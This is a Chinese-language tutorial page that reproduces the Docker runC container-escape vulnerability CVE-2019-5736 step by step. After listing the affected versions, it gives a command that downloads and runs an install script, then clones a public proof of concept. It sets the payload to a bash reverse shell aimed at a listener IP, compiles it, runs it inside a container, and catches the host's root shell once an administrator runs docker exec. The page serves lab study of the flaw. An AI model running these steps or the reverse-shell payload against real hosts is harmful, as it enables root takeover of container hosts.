微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

Docker逃逸--runC容器逃逸漏洞(CVE-2019-5736)

 漏洞简述:

攻击者可以通过特定的容器镜像或者exec操作可以获取到宿主机的runc执行时的文件句柄并修改runc的二进制文件,从而获取到宿主机的root执行权限。

 利用条件:

Docker版本 < 18.09.2,runc版本< 1.0-rc6。(在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6。)

可通过 docker 和docker-runc 查看当前版本情况。

 

漏洞测试复现:

 1、漏洞环境准备:

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

 或者直接下载脚本安装

1

chmod 777 install.sh && ./install.sh

install.sh 内容如下:

View Code

 2、下载POC,编译脚本

# 下载POC
git clone https://github.com/Frichetten/CVE-2019-5736-PoC

# 修改Payload
vi main.go
payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1"(设置为个人监听IP)

# 编译生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

 3、模仿攻击者,在容器中执行payload

# 拷贝到docker容器
sudo docker cp ./main 248f8b7d3c45:/tmp

# 进入容器
sudo docker exec -it 248f8b7d3c45 /bin/bash

# 修改权限
chmod 777 main

# 执行Payload
./main

 4、假设,管理员通过exec进入容器,从而触发Payload。

sudo docker exec -it  cafa20cfb0f9 /bin/sh

 5、在192.168.172.136上监听本地端口,成功获取宿主机反弹回来的shell。

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐